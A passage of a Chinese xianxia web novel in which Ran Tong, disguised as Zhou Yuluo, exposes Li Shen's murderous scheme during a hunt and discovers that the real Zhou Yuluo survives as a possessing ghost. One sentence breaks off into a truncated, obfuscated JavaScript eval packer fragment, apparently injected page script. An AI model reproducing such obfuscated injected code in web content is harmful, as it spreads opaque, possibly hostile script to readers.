许久,凌乱的心境渐渐复原,她念咒清洁,理性制伏了感性,自嘲道:我还是太幼稚了,一个朝不保夕的小虾米去同情无所不能的老魔头,真够可笑的。 大修士钢筋铁骨,心如顽石,什么样的伤害都不足挂齿。那老魔才不会伤心惆怅呢,估计一门心思只想复仇,我也是他报复的对象,杀起来不会有一星半点犹豫。 入夜,她坐在蒲团上思考脱身计,吴嫣然不请自来,这次态度比前天更恶劣,赤裸裸向她宣战。 “周羽珞,你还想在这儿赖多久?实话告诉你吧,申哥哥早就对你没感情了,他答应年底去我家提亲,我才是他真正爱的人,也是黎家未来的少夫人!” 21.阿黄 冉彤在初到黎府时已看出端倪,虚情假意的负心汉和横刀夺爱的刁蛮女总是成双成对出现,不知周羽珞生前是否发现这点,若有所察觉,那她的人生真是一塌糊涂的悲剧。 她想为那苦命女抱不平,儳然假笑:“你来就为说这个?” 吴嫣然趾高气昂道:“我想让你趁早认清现实,你和申哥哥已不可能了,再待下去只会自讨没趣。” 冉彤抱臂回呛:“我一刻都不想在这里多待,是黎家人硬扣住我不放,我正为此发愁呢。多亏你来报信,请马上跟我去见黎家父子,当面拆穿他们的谎言。” 她拉着吴嫣然外出,吴嫣然装模作样反抗几下,骄狂道:“去就去,待会儿可别出尔反尔,缠着申哥哥不放!” 二人边吵边骂走到半路上,黎申闻讯赶来,拉开吴嫣然,握住冉彤双肩关问:“表妹,你们怎么吵起来了?” 冉彤厌恶地躲开两步,指着吴嫣然责骂他:“你还想骗我多久?吴姑娘都告诉我了,在我失踪后你已移情别恋和她相好,还许诺去她家提亲。本来婚姻未成,你变心也没什么,但既已跟人家海誓山盟,为何还来诓骗我?我只是失忆,不是失智,休想把我当傻子!” 黎申惊忙呵斥吴嫣然:“你跟表妹胡说什么?我几时跟你相好了?” 吴嫣然像被从天而降的石头砸中,先懵后怒,跳脚嗔怪:“申哥哥,你怎么能说这种话?我俩都好上三年多了,去年你上我家做客,我娘问你我们的事,你也承认了,还跟我爹娘保证会好好待我,这会儿都不认账了?” “你还胡说,没廉耻的贱货,我竟未看出你是这种人!” 黎申不容吴嫣然继续撒泼,暴怒地转身抽了她一耳光。 吴嫣然羞恼无地,捂着脸哭骂:“没良心的,我要找黎伯伯告状去,今个儿你们家不给我个交代,我跟你们没完!” 她大哭着跑开,黎申视若无睹,专心哄冉彤:“表妹,我不管吴嫣然跟你说了什么,反正我对天发誓我黎申绝没做半点对不起你的事,求你一定相信我!” 他的一言一行都像歹毒小人,冉彤不愿费神纠缠,冷着脸嘲谩:“我说过好几次,我现在只当你是陌生人,跟你毫无情分可言。你爱跟谁好,想娶谁做老婆都与我无关。我在这儿住得很不自在,请你遵守约定放我走。” 黎申绕着她连哄带骗赔不是,不久黎家主差人来唤他去说话,他走时觍着脸央求:“好表妹,亲亲表妹,我稍后再来向你赔罪。你想怎么惩罚我都行,可千万别起离心,我好容易才找到你,你若狠心抛下我,我可怎么活啊?” 冉彤刻意发火:“我心里憋得慌,明天要出去散心,你让他们别拦我,自己也别跟来!” “行行,你爱上哪儿就上哪儿,我让人暗中保护你,可你也得注意安全,别走远了。” 一顿花言巧语后是更严密的监视,第二天冉彤出门想尽办法也甩不掉那些眼线,便报复性地带着他们在黎家附近胡乱兜圈子。 走到黑水河边,她找了个僻静地方坐下歇息,望着深广的河水琢磨用水遁潜逃的可能性有多大。 那几个“尾巴”都是净境后期修为,速度比我快,潜水会被他们抓住。要不趁附近没人,用老魔给的泥丸弄死他们。 歹念乍现乍沉,那几人和她无冤无仇,不过在黎家混口饭吃,杀之太过分。况且这德康城治安严,行凶后定会被追捕,到时更跑不掉。 她烦躁不安,用分水法在河面搅出各种形状的浪花解闷,不久吸引了几个来此玩耍的凡人小孩。他们新奇地围着她观看,求她表演更多法术。 冉彤喜欢小孩子,逗他们玩了一会儿,身边忽然钻出一条不知从哪里冒出来的大黄狗,前爪搭住她的腿,一个劲儿用脑袋蹭她,模样亲热极了。 小孩们惊叫着散开,提醒她:“仙姑小心,这是条疯狗,会咬人的!” 冉彤见这狗摇头摆尾,大大的黑眼珠泪汪汪的直瞅着她,非常温顺可怜,奇道:“这狗这么乖,不像疯狗啊。” 一个小孩说:“它在这河边流浪四五年了,人一靠近它就又吼又咬。大人们原想打死它,可它太狡猾,每次都提前逃脱,也不知道它躲在哪里。” 另一个孩子接嘴:“人们还怀疑它是狗妖呢,请了仙师来看又说是寻常野狗,仙师还说杀生造孽,只要它不伤人,就让我们别招惹它。” 冉彤开动神识检查,确实是只凡狗,估计从小流浪,受够人类欺负才野性十足。 “可它现在对人很友好啊,你们看,我可以随便摸它。” 冉彤挠了挠黄狗的脑袋,黄狗主动低头任她抚摸,两眼滴泪,呜呜哀鸣着,那架势仿佛失家的孤儿重见亲人。 小孩们也很惊奇。 “它今天怎么这么乖啊?” 胆子大的过来试图碰触黄狗,后者立刻龇牙咧嘴威胁。 孩子们七嘴八舌推测:“这狗也是势利眼,知道仙姑有法术,想巴结她。” 冉彤认为动物比人单纯得多,说不定这狗前世与她有些缘法才这么亲近她。 细看它皮毛光亮,膘肥体壮,不似饥一顿饱一顿的流浪狗,估计日常有人喂养,摸着它的后颈问:“阿黄,你家在哪儿啊?” 她随口唤它“阿黄”,黄狗探头将下巴搁在她膝盖上,目不转睛望着她,眼珠下挂着的两行泪不曾断过。 “有谁欺负你吗?怎么这么伤心啊?” 冉彤看出这狗通人性,很想力所能及地救助它。 阿黄咬住她的袖子轻拽,示意她跟随,冉彤正想跟去,监视她的随从走来请求:“表小姐,天色已晚,该回去了。” 阿黄见了那些人面露凶相,夹起尾巴窜进草丛。 冉彤自顾不暇,被随从们软硬兼施胁迫着返回黎府。 黎家主夫妇没过问她和吴嫣然争吵一事,明显装糊涂。黎申来道歉,被她骂跑了。 小人无利不起早,冉彤确信黎家对周羽珞另有所图,否则不会虚与委蛇。 眼下无计抽身,说不得得调查一下内情了。 夜里,她释放神识,潜入吴嫣然的住处。 鲁莽蛮横的人相对来说城府较浅,从她入手容易些。 她运气不错,黎申也在这里,搂着尚在赌气的吴嫣然哄劝。 “说好再忍忍,你怎么这么沉不住气呢?逼着我出手打你,害我到现在心窝子还一阵阵作痛。” 冉彤早料到他是两面派,没猜到他能游刃有余说出这么不要脸的话,无耻程度突破了她的想象。 吴嫣然噘嘴皱眉地犯委屈:“谁让你成天围着那女人献殷勤,还老受她白眼,实在教人气不过。” 黎申坏笑:“我那都是做戏,眼下任她放肆,过后看我怎么收拾她。” 他勾起吴嫣然下巴,伸嘴啄了啄她的香腮。 吴嫣然扭着肩膀娇笑,他俩男的俊,女的美,凑一起亲热本该很香艳。 可冉彤的观感只有猥琐,忍不住暗骂他们狗男女,要是探听不到有用的情报,真不愿多看一眼。 狗男女腻歪片刻,吴嫣然爬在黎申胸口娇声问:“她看起来真失忆了,你和黎伯伯打算怎么办?我爹来信催了两回,问你们什么时候动手。” 黎申捏住她调皮的小手许诺:“爹说了,等下次月圆夜就行动。谢叔叔请了一位高人,能让周羽珞恢复记忆,等审出那个咒语,我马上杀了她给你出气。” 二人□□,渐渐进入不堪入目的环节,也没再表露重要信息。 冉彤收回神识,无处发泄愤恨,一口咬住自己的大拇指,戾气毕露。 好哇,我只说姓黎的豺狼装羊,没安好心,敢情他还想要我的命啊。那个什么咒语还有月圆之夜,定和某种仪式有关,参与者还不少。 已知黎家父子的同伙有吴嫣然的父亲、黎申口中的“谢叔叔”,还有一位外聘的“高人”,这些人修为大概与黎家主持平,都不好对付。 冉彤有“泥丸”和“摄魂珠”两大法宝在手,底气较足,可走为上策,能在他们发难前出逃到底比正面恶战强。 刚才她顺便探查了四周情况,滴翠苑外十丈一岗,五丈一哨,围得铁桶相似,夜间难逃,只能等白天。 她一夜警惕,天刚亮,黎申便来邀她出游。 “你嫌城里无聊,表哥明日带你去城外找乐子,包你玩得开心。” 原来德康城的修士们每个季度都会举办“狩猎”活动,将捕捉来的妖兽投入深山内圈定的猎场,供那些花钱报名的修士们猎杀取乐。 明天正逢狩猎日,黎申替自己和冉彤报了名。 冉彤谨防有诈,起初以修为太低,不敢冒险推辞。 黎申积极鼓励:“猎场的妖兽最强的法力只到四级,有我在还会让你遇险吗?按规矩,每人最多能杀五头妖兽,咱们挑那修为最高的猎捕,还能赚一笔资材,其他娱乐再没有这么刺激实在的。” 四级妖兽的法力相当于净境中期修士,冉彤自信能应付,转念想:我让黎 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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阿黄一只爪子搭住她的手臂,浑身抖个不停,向着她呜呜哀鸣,急得直掉眼泪。 冉彤狐疑难解,想带它回屋保护起来。 街头忽然飘来一个人影,是个提驱邪灯的巡城道人。 所谓“巡城道人”是城市中修士管理机构下设的基层职务之一,负责在夜晚监察、巡逻,防止妖鬼作乱。 任职的多为生活拮据的低阶散修,相当于凡人衙门雇佣的更夫,在修真界地位低下。 这巡城道人来到众人跟前,毕恭毕敬向黎申行礼:“黎公子,这狗是在下喂养的,方才不留神让它跑来贵府聒噪,惊扰之处还望海涵。” 黎申认得此人,大度道:“原来是张小友家的狗啊,我还道是没人要的野狗呢。” 张道人赔笑:“它原是野狗,因时常凶人,差点被附近居民打杀,在下见它可怜,便救下来养在身边,只当给自己找个伴。” 黎申恶意打趣:“张小友竟然与狗为伴,真有意思。” 冉彤觉得他才是狗眼看人低,插话讽刺:“狗比人纯善多了,我情愿亲近狗也不想搭理卑鄙小人。” 黎申唯唯讪笑,冉彤白他一眼,转向张道人。 昨天那群小孩说曾请修士检验黄狗是否是妖怪,多半就是这位了。 她见张道长修为只到得境中期,打扮素朴,整个一老好人受气包形象。 散修大多贫寒,低阶散修更穷困,资材机缘匮乏,遇到困境也无人点拨,因此多数人会依附大宗们,打杂跑腿,赚钱外加争取人脉。 夹缝求生的处境使得散修们格外谨慎低调,不爱寻是生非,面临纷争拔腿就跑,鲜少主动蹚浑水。 这张道长应该是散修里最怕事的一类,冉彤怀疑他指使阿黄接近自己,可很难推测他的动机。 张道长向黎申告了歉,拍拍阿黄的脑袋,教训:“跟你说过无数回,你还不安分,非要自取其祸,闹到死无葬身之地才罢休吗?还不快随我来!” 训斥中多有劝解之意,阿黄含着泪,依依不舍看了冉彤一眼,耷拉着头跟张道人去了,每走几步便转头回望,那依恋悲痛的眼神与人无异。 冉彤莫名难过,心里像压了一块石头,一整晚都耿耿于怀,决定日后找机会去寻张道人和阿黄,探个究竟。 22.原形毕露 猎场设在德康城以西两百里的鹧鸪山,山下有一座香火鼎盛的神庙景阳宫,供奉当地的守护神德康老祖。 冉彤刚到德康时,客栈小二推荐她去景阳宫祈福,她要趁打猎时杀人潜逃,事前状态越放松越不会惹人怀疑,去途中对黎申说:“听说景阳宫很灵验,我们先去那儿祈福,让德康老祖保佑我们多猎到几头四级妖兽。” 他们来到景阳宫山门外,只见前方闹哄哄围满了人,人墙内传出男子的惨叫和年轻女子的叫骂声。 “不长眼睛的东西,给我狠狠地打!” 冉彤用神识查看,见三名净境修士正围殴一个被绳索捆绑的净境男修,骂人的俊俏女子修为只到胜境初期,却对那三个打人的修士颐指气使,一副主人派头。 那净境男修受伤严重,已倒地昏迷,女修还不相饶,定要手下往死里凌虐,看样子想借此向旁观者立威。 冉彤问黎申:“这女的是谁啊,这般凶狠霸道。” 黎申鄙夷道:“她叫赵美玲,是德康城主的小女儿,赵开元主事的亲传弟子。‘凶狠霸道’正好能概括她的为人,我们还是少招惹为妙。” 冉彤不忿赵美玲的恶行,也还没冲动到路见不平的地步,默默咒骂着跟随黎申绕行,越过人群时,身后突然钻出吴嫣然的呼叱声。 “你们不能当众行凶,快住手!” 黎申吃惊停步,回头见吴嫣然已越过人墙,跳到赵美玲跟前,当面指责:“赵郡主,这人哪里得罪你了?逼得你硬要对他下杀手?” 赵美玲不能贸然得罪修真者,先喝问她的来历。 黎申只得出面,闪到吴嫣然身边,向赵美玲行礼。 “‘石林居士’黎修鳞之子黎申见过郡主,这位吴姑娘是我世妹,父亲是‘月洞先生’吴奇。” 黎修鳞在德康城颇有势力,吴奇也是百花州小有名气的化境修士。 赵美玲出身凡人家族,仗着师父赵开元的名头狐假虎威,碰到高阶修士仍有几分忌惮,暴戾稍减,傲慢斥责吴嫣然:“本郡主在这儿教训无礼之人,管你什么事?” 吴嫣然硬气反问:“再无礼也没见他伤你分毫,你却把他往死里打,究竟谁更过分?” 冉彤冷眼旁观,奇道:我只当这吴嫣然跟黎申半斤八两,看不出她还有几分侠义心肠。 她想验证这是不是黎申编排的把戏,用传音入密联系他:“黎表哥,吴姑娘怎么跟来了?” 黎申正劝吴嫣然冷静,分神回应:“我没告诉她游猎的事,不知道她会偷偷跟来。” 冉彤讥诮:“她来不来无所谓,但随便跟赵郡主起冲突就不好了,你可得劝劝她。” “我会的。” 黎申抓住吴嫣然手腕,低声警告:“外人的事咱们少掺和,走吧。” 吴嫣然任他拉拽着走开,回头阴沉警告赵美玲:“赵主事肯定教过你修真界的规矩,别看人家是外地人就任意欺凌,你不怕丢人,你师父还怕呢。” 赵美玲欺软怕硬,明白闹到赵开元跟前去,自己准定挨罚,羞愤地叫骂两声,招呼手下去猎场了。 热心的围观者出手救治伤者,冉彤捐赠了一粒伤药,笑问目中无人的吴嫣然。 “吴姑娘,早知道你要来,我就让黎公子叫上你跟我们同行了。” 吴嫣然冷哼着将脸转向一边,黎申斜跨一步,隔开二女,对冉彤说:“表妹,这景阳宫我们过去常来,你还记得吗?” 冉彤嗤笑:“我若记得还叫失忆?” 黎申指着山门内说:“神庙左侧有一片专供祈福者许愿留念的碑林,里面有我们当年立下的碑刻,我带你瞧瞧去。” 那石碑长满苔藓,表皮有风化剥落的痕迹,已历经数十年岁月。正面从左至右,从上到下刻着几十行文字。 “甲午年壬戌月辛亥日同羽珞表妹初造此碑,祈肯神明保佑黎周两家浑源丰足,诸事安康……” “壬寅年丙午月戊子日同羽珞表妹于此祈福,愿表妹福寿康宁,出入平安……” “丁未年己巳月甲辰日同羽珞表妹于此祈福,愿表妹修为精进,早入胜境…… ” “乙卯年庚辰月丙戌日同羽珞表妹于此祈福,愿与表妹永结同心,共赴白头……” ………… 这些祝语时间跨度长达七十八年,起始于黎申十六岁,最后一条记录于周家灭门案前四个月,每一条都满载他对周羽珞的殷切关怀和美好祝愿, 一个人从青葱少年起,连续七十八年做戏骗感情,投入多,收效慢,不太合乎人性、情理。 冉彤由此判断黎申确曾对周羽珞动过真情,可惜人心难测,爱欲宛若暮春的花朵经不起风吹雨淋,纯情痴恋随着阅历、观念的更迭终变成被自己嗤之以鼻的笑话,亲手斩断精心呵护的爱苗,和野心烹煮成食粮,才不算浪费。 所以修真者一般到了七八十岁才考虑结道侣,太早播撒情爱的种子,往往会结出恶果。 冉彤不由得庆幸能及早和云宿雨分手,若残秽之渊延迟喷发,真让他们做上十几二十年夫妻再决裂,到那时她定会痛不欲生。 “表妹你看,我们曾经度过了那么多幸福快乐的日子,现在你还怀疑我的用心吗?” 黎申将石碑上的祝语当做功劳簿向冉彤夸耀,妄图骗取信任。 冉彤觉得他是个杀了人还向苦主售卖棺材的无耻恶人,顺势刁难:“你这么深情,这五年来怎不见这石碑上有一条关心我安危的祝语?这算不算人走茶凉?” 黎申尴笑狡辩:“你失踪后我日夜焦虑,这景阳宫也成了伤心地,再不曾来过。” 冉彤轻笑:“这话倒也说得通,那今日你我故地重游,你是不是该为我刻一条新的祝语?” 黎申满口应承,指尖注入灵力,刻下今天的日期,后写“天地为媒,神明为证,原黎申与羽珞表妹早结连理,琴瑟和谐。” 冉彤偷偷观察站在远处的吴嫣然。 她正直直注视黎申刻字,脸上不止气愤,还有藏不住的悲恨。 冉彤认为这傻女人真心爱黎申,明知他逢场作戏仍难忍嫉妒,对她七分嘲讽,三分怜悯,预感她将来也会在负心汉手里吃大亏。 午时狩猎活动开始了,吴嫣然交了报名费,不顾黎申反对硬要去打猎。 “这猎场又不是你家开的,我交了钱就能进,你们嫌烦就离我远点,我还不想看见你们呢!” 吴嫣然任性独闯森林,冉彤对黎申说:“吴姑娘孤身一人不安全,你派些人保护她吧。” 她想支开随从,黎申依言命两个手下去追吴嫣然,其余六人仍跟着他们。 冉彤恶向胆边生,寻思待会能哄走几个算几个,剩下的只怪他们倒霉,非要给姓黎的陪葬。 鹧鸪山山势连绵,纵横两三百里,但见千峰排戟,万仞开屏,漫山遍野古木老树,若干妖兽被放养其中,只闻其声不见其影。 黎申先猎到一头二级鹿蜀,当场割开它的喉咙,放出生血分给众人饮用。 鹿蜀血灵气丰富,是上好的补品,但茹毛饮血流于野蛮,历来为雅士诟病。 冉彤所受的教育让她反感这一行为,拒绝黎申递来的鹿血。 黎申开导:“表妹境界连跌两层,应多食固元补气之物,你我不日将成亲,修为相差太多不利双修啊。” 他言语轻薄惹恼冉彤,使劲啐他:“你放尊重点,我还没承认跟你的婚约呢。” 黎申厚起脸皮调笑:“我想帮你早日恢复修为,这也错了?你不快点寻回法力,若我不在时遭遇强敌,如何自保?” 冉彤冷笑:“你也太自以为是了,谁稀罕你保护啊。” 她假装赌气往密林深处去,想找合适的地方结果这狗贼。 黎申并未拦阻,一味跟随她前行。 听他悠闲地哼唱小曲,冉彤心里像风吹羊毛,乱得起火,四下观望一圈,打算就地动手。 神识忽然触到一股浓烈的妖气,一股银光随即射到。 她急忙闪避,银光射中身后的灌木丛,扩散开来,深绿的植物被染成银白色,细看挂了一层厚密的丝状物。 一名随从惊叫:“是狼毒蛛!” 冉彤落地时,那头体大如牛,浑身布满褐色水草纹的的黑色大蜘蛛已鼓着血红的眼睛扑向她,是一只三级狼毒蛛。 使用天罡真雷会暴露身份,她匆忙以寻常法术驱赶蜘蛛,左右腾挪躲避它长矛状的触脚。 黎申袖手旁观,还示意随从们别出手,朗声嘲弄:“表妹果然好身手,看来不用我帮忙也能对付这妖兽。” 他明显在报复她刚才那句话,一反常态的使坏挑起冉彤警觉。 这人想借妖兽试探我的真实修为,他怀疑我在藏拙。 坏蛋,看谁玩得过谁! 冉彤假借逃避蜘蛛,朝山上飞窜。黎申怕她跑了,忙带人追赶。 冉彤有神木牌辅助,遁速极快,片刻后甩掉蜘蛛。 随从们落后太多,只黎申紧跟不舍,高喊:“表妹,那蜘蛛跑了,快停下吧!” 冉彤见天时地利齐备,正要扔出泥丸,身旁的 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他指着土蝼尸体炫耀:“表妹,你看表哥的法术是不是很厉害?” 他有意引导她观察那奇特的伤口,使得冉彤进一步认清他的居心,将计就计问:“你刚刚使的是雷系功夫吧?叫什么名字?” 黎申注视她的脸答话:“此法名为飙霆刺,表妹可曾听过?” “听过也忘记了,是你们黎家的独门绝技吗?” “不,这是一位高人传授我的,整个百花州只我一人会。” 真相大白,他就是杀害周羽珞的凶手,想试探眼前的表妹是否真失忆,有意用这杀招刺激她。 冉彤看到小说里的恶毒反派都想杀之后快,更不容这人面兽心的歹徒活命,悄悄将泥丸握在掌心,临到将出手,大队人马从天而降。 “黎兄今日好兴致啊。” “王公子久违了。” 领头的王姓公子貌似大家子弟,瞧着和黎申交情匪浅。 二人寒暄数句,相互介绍了身边人,王公子对黎申说:“我在追一头四级孰湖,想活捉了当坐骑,黎兄可否助我?” 交谈中,黎申的三个随从赶来了,黎申却不过王公子邀请,吩咐三人护送冉彤下山,叮嘱她:“表妹不可再乱跑,我去去就来。” 冉彤估计他被自己的出色演技瞒住了,再额外加上一层掩饰,急道:“这林子里到处是妖兽,你只派三个人保护我怎么够?” 黎申防她逃跑,取出几面阵旗布下一个困防一体的法阵,让她和随从们待在阵内等候。 事急则缓,冉彤决定让这恶棍多活一会儿,等待中认真梳理前情。 周羽珞是黎申杀死的,那周家的灭门案定然是黎家主使的。前晚黎申和吴嫣然提到的那几人想必是共犯,杀人动机则围绕着那个神秘的咒语。 假如我没沦为逃犯,单凭替周羽珞报仇这点也定会将此事查个水落石出, 思绪未了,吴嫣然飞落到阵前,随从们忙问候:“吴大小姐可还安好?我家公子陪王公子去狩猎了,稍后便回。您和我们一块儿等他吧。” 吴嫣然一改娇小姐气质,面如坚冰地命令他们打开法阵, 随从见她气色不善,赔笑应付:“公子的法阵我等如何解得开……” 吴嫣然二话不说,施法拔出阵旗,法阵不攻自破。 冉彤想黎申肯定教过她破阵之法,打量她要寻晦气,悄悄做好战斗准备。 随从们也怕她难为冉彤,纷纷迎上去劝阻,不料吴嫣然暴起行凶,三根断魂针瞬间刺穿三人心脏,不带半分手软。 冉彤见她连黎家人都杀,对自己只会更凶残,防范中愠怒指责:“吴嫣然,你是不是疯了!?” 吴嫣然眼神阴狠:“是你逼我的,看在往日的情分上,我再给你最后一次机会,不想死就马上滚!” 冉彤认定她和黎申狼狈为奸,索性一并送去地府交给周羽珞发落。 当吴嫣然再次厉声威胁:“你还不走,安心留下等死吗?!” 她断然怒斥:“我看想死的人是你!” 狠狠抛出泥丸,吴嫣然伸手格挡,触动法宝,喷涌的黄沙登时如饥兽般吞没她的身体,她惊慌挣扎两下便被挤破内脏,折断骨头,七窍喷出鲜血,垂垂待毙。 断气前一刻,她的双眼下方浮出两抹乌黑的煞气,在迅速被鲜血掩盖前清清楚楚落入冉彤眼中。 那是鬼道的标志,这女人是鬼修! 23.冒充 泥丸片时复原,现场干干净净,吴嫣然仿佛从未来过。 疑问在冉彤心底来回穿梭,像沉寂森林中不息的冷风,吹得她背心发凉。 正道修士家的女儿怎会修鬼道?黎家也不可能准许儿子和鬼修结道侣。这吴嫣然身上一定藏了大秘密。 当务之急是逃跑,冉彤细心地用三途烽燹焚化了随从们的尸首。 这样就算中途被人捉住也可来个死无对证。 谨慎再次救了她,之前黎家主偷偷在她身上下了追踪禁制,她没能逃出鹧鸪山便被黎申和数名修士拦截。 “表妹,不是让你留在山上等我吗?怎么到处乱跑,叫我们好找!” 黎申在人前扮深情,王公子等帮忙找人的热心朋友纷纷安慰。 冉彤又气又急,在场人太多,貌似都是德康城有头有脸的人物,那泥丸纵能将他们尽数杀光,后续也将引来无穷祸患。 “表妹你跑什么呀?那三个保镖去哪儿了?” 黎申继续当众询问,冉彤想他大概猜到那三人已死,怀疑她杀人逃跑。 我可不能给吴嫣然背锅,但须编个妥当的说法,不能暴露小泥丸。 话到嘴边,眼珠子先透过人缝窥见一个不该出现的人。 吴嫣然!? 吴嫣然活生生立于人群中,静静朝这方观望,接触到她的视线后马上调头不睬,那傲慢的神色颇有几分牵强,显而易见的心虚。 冉彤心念急转,坚定地走向她,从容发问:“吴姑娘,你刚才去哪儿了?” 吴嫣然没好气地数落:“管你什么事?我可没胡乱瞎跑,害大家伙儿好找。” 冉彤隐隐冷笑,大声说:“害我差点跑断气的人不正是你吗?” 她转向黎申告状:“我们在山上等你时吴姑娘寻了来,说你让她去接我们下山。我们跟着她在林子里钻来钻去,渐渐走散了,中途又被妖兽追赶。我只顾逃跑,稀里糊涂来到这里。你应该问问吴姑娘,为何捉弄人。” 吴嫣然再不料她会出歪招,怒斥:“你胡说什么?我一直在南山坡上打猎,几时去北山顶上找你们了?” 黎申走过来,狐疑地盯着冉彤问:“表妹,真是吴世妹领你们下山的?” 冉彤煞有介事提醒:“那法阵是你布下的,你心里还没个数?我和那三人都不知道破阵之法,如何自行离去?” 黎申到过山顶,看出法阵没受过外力损坏,是被完好破解的。 听了冉彤的话,他目光转向吴嫣然,无声地责问着。 吴嫣然以愤怒遮挡慌乱,尖声指责他:“你看我作甚?是不是她说什么你都信啊?那随你好了,少来问我!” 外人见状只当两个女人围绕黎申争风吃醋,都倾向相信冉彤的话。 王公子笑劝黎申:“令表妹平安就好,黎兄不必追究啦,那三个纪纲大约在林子里迷了路,过会儿自会出现。” 黎申哂笑点头,对冉彤说:“表妹可还有力气玩耍?若是累了,我们不如早点回家。” 冉彤微笑:“累倒还好,但看吴姑娘心情这么差,我也没兴致了,要么一起走吧。” 王公子插话:“黎兄稍待,小弟今天收获不少,叫他们把打到的妖兽都抬过来,你挑些带走。” 黎申助他活捉了那头孰湖,他非要礼尚往来馈赠谢仪。 黎申婉拒未果,留下等他的手下搬运猎物。 冉彤和吴嫣然隔开几丈地站立,生冷地不看彼此,却都在悄悄用神识互相观察。 冉彤心里越发有底,主动秘密传音联系她。 “吴姑娘,你刚才当真一直待在南山坡?” 吴嫣然斥骂:“你爱信不信,蠢材!” 冉彤笑道:“我是很蠢,直到此时仍看不破你的套路。” 她已十拿九稳,这个吴嫣然铁定是冒牌货。至于真身是谁,动机为何,是否对她怀有恶意,稍后自有办法让其主动交代。 王公子捕获了十几头大小妖兽,陆续从山中运抵,大半个时辰便过去了。 黎申让冉彤替他挑选,冉彤挑了一只三足乌,一头多目怪,这两种妖兽都是她用得着的。 黎申正和王公子话别,西面飞来一个修士,问他们:“两位公子可曾看到赵美玲郡主?” 他说赵美玲不久前在南山附近走失,她的随从遍寻不着,急得四处求助。 “我已找了一大圈了,二位公子若无事也帮忙找找吧。” 赵美玲的师父赵开元是离恨天的灰衣长老,德康城乃至百花州修真界的头面人物,当地修士们都乐于巴结他。 黎申这次懒得随大流,借故推辞:“我要照看表妹和吴世妹,抽不出身,烦请王公子陪这位道兄去寻人吧。” 冉彤听说赵美玲失踪,心思倍觉敞亮,定要支走黎申,指着东面一座山峰对他们说:“我先前路过那座山头时见赵郡主追着 一头怪鸟从前方跑过,你们去那边找找吧。” 那修士请她带路。 冉彤说:“我修为低,今天连着几次被妖兽惊吓,不想再上山,让黎表哥陪你们去吧。” 王公子趁势游说黎申:“听说赵主事十分宠爱小郡主,若知道令表妹见过她,而黎兄又不肯出力寻人,恐会见责。我看你还是跟我们去找找看,只当卖赵主事一个面子。” 黎申不便坚辞,叮嘱冉彤:“我去去就来,表妹不可再乱跑了。” 又严肃告诫吴嫣然:“吴世妹,我不在的时候你可得同羽珞表妹和睦相处,不许再生事了。” 吴嫣然背转身不回应,冉彤笑对黎申说:“我们又不是小孩子,哪有那么多架可吵?你快去吧,顺便找找那三个伙计。” 众人去后,她走到吴嫣然身边坐下。 吴嫣然瞥了她一眼,姿态明显僵了一霎。 冉彤再度传音。 “吴姑娘,赵郡主去了哪儿,你想必最清楚吧。” 吴嫣然冷语驳斥:“我不知道你在说什么。” “是吗?” 冉彤狡黠一笑,大声开口说话:“噢哟,吴姑娘这项圈好漂亮,能不能借我戴戴。” 她伸手摸吴嫣然的金项圈,指尖却朝着她的脖子戳去,施放一丝天罡真雷。 吴嫣然冷不丁中招,身体痛麻,神魂灼烧。 冉彤抢在她反抗前传音警告:“黎申的手下都看着呢,你最好别乱动。” 吴嫣然怕露馅,强忍着不敢动弹,双眼眶下煞气涌现,急忙单手捂住。 冉彤泰然收手,无声地下断言:“你不是吴嫣然。” 吴嫣然快速遮盖煞气,也咬着牙揭穿她:“你也不是周羽珞。” 冉彤反驳:“你说这种话有证据吗?” 她以为对方想抓她把柄,“吴嫣然”深沉叹气,思虑片刻,道出一句骇人听闻的话。 “我才是真正的周羽珞。” 冉彤表情失控,瞠目结舌地看向她。 “吴嫣然”恢复镇定,坦然与之对视。 冉彤历经艰险,能接受任何不可思议的怪事,但接受不代表轻信,她冷静下来,抵赖道:“你瞎说什么呢。” “你右后腰上的伤疤还在吧?那是黎申用飙霆刺杀害我时留下的。” “……我不知道你在说什么。” “你认识杏姑,是她把我的皮给你的。” “吴嫣然”直陈重点,可见不想兜圈子。 冉彤不得不信了,忙问:“是杏姑教你修鬼道的?” “没错,那日我伤重不支倒在山间,杏姑在我临死前路过。她看上我的皮囊和内丹,想要抢夺。我说人皮和内丹都可以给她,条件是等我死后她教我修鬼道,否则立刻爆丹自尽。杏姑当初也是被负心汉害死的,她同情我的遭遇,接受了我的要求。” 周羽珞生前是臻境修士,底子好,天赋高,数月便出师了,她和杏姑完成交易后一刀两断,并且抛弃旧日身份。怎料到她的皮囊和身份会辗转落到冉彤手中。 这曲折离奇的缘分令冉彤分外诧讶,已明白周羽珞是为了报仇才冒充吴嫣然潜伏在黎家。 她本就同情这女子,如今更增添敬佩,以友善的态度询问:“我到黎家后你为何对我敌意强烈,刚才在北山顶上又为何要杀我?” 周羽珞说:“我一见到你就知道你披着我的皮,不愿你做替死鬼,故意针对吓唬你,想让你看清黎家人的真面目。今天跟来则是想助你出逃,是以方才先杀了那三个随从。” 她以为冉彤修为低,又急于脱身,受到恐吓自会逃跑。没防备她携有重宝,被那不起眼的小泥丸击杀。 冉彤回想那些情形,确如她说的一般,打消隔阂,自发地与之结盟。 “眼下不宜长谈,你这具肉身是不是赵美玲的?” 周羽珞佩服她的聪敏,说:“我魂魄出窍后逃往南山,路遇赵美玲孤身前行。那女人一向仗着赵开元撑腰作威作福,我早看她不惯,当场抓住她夺舍。” 鬼道功法能任意改变外貌,她夺舍赵美玲后将躯壳改装成吴嫣然的样子离去,让赵美玲的手下以为主人走丢了。 冉彤得知她没灭掉赵美玲的魂体,急忙提醒:“你太大意了,赵开元若重视赵美玲,事后必定亲自来寻,让他找到赵美玲的鬼魂,准会查到你头上。” 周羽珞省得这点后也很着急,人死后魂体会在原地徘徊数个时辰,现在回去就能斩草除根,可黎家随从看守严密,该如何脱身?单让魂体行动也灭不掉赵美玲的魂啊。 冉彤已有计策,教她先去吸引看守注意。 周羽珞走向随从们,命令他们交出黎申猎到的妖兽。 “他不能只让周姐姐挑好的,也得给我留点好东西。” 她蛮横地 